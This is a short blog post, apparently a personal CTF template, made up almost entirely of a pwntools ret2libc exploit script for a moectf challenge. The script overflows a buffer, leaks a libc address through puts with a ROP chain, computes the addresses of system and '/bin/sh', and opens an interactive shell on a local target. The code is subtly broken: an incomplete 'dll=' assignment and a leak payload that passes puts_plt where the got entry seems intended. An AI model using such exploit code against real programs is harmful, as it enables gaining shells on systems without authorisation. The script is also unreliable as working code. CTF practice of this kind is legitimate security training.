pwn格式

runwu2204 Lv6
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import*
from ctypes import*
elf=ELF(r"/home/wrwrw/vscode/pwn/moectf/ret2libc/pwn")
dll=
debug=True
if debug==True:
context(os='linux',arch='amd64',log_level='debug',terminal='bash')
p=process(r"/home/wrwrw/vscode/pwn/moectf/ret2libc/pwn")
# pwnlib.gdb.attach(p,'break main')
else:
p=remote("127.0.0.1" ,30671 )



if __name__=='__main__':
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
inputs=0x04011E8
pop_rdi_retn=0x000000000040117e#ROPgadget --binary babyof --only 'pop|ret' |grep rdi

p.sendlineafter('But..maybe libc can help u??\n',b'a'*0x58+p64(pop_rdi_retn)+p64(puts_plt)+p64(puts_plt)+p64(inputs))
p.recvline()
a=p.recvline(keepends=False)
puts=u64(a.ljust(8,b'\00'))
libc=LibcSearcher('puts',puts)
base=puts-libc.dump('puts')#此处是与泄露的got地址相减
system=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
ret=0x000000000040101a #ROPgadget --binary pwn --only 'ret'
p.sendafter('But..maybe libc can help u??\n',b'a'*0x58+p64(ret)+p64(pop_rdi_retn)+p64(sh)+p64(system)+b'\n')
p.interactive()

p.interactive()
  • 标题: pwn格式
  • 作者: runwu2204
  • 创建于 : 2024-04-12 20:51:12
  • 更新于 : 2024-04-12 20:51:31
  • 链接: https://runwu2204.github.io/2024/04/12/Pwn/linux/tool/pwn格式/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
pwn格式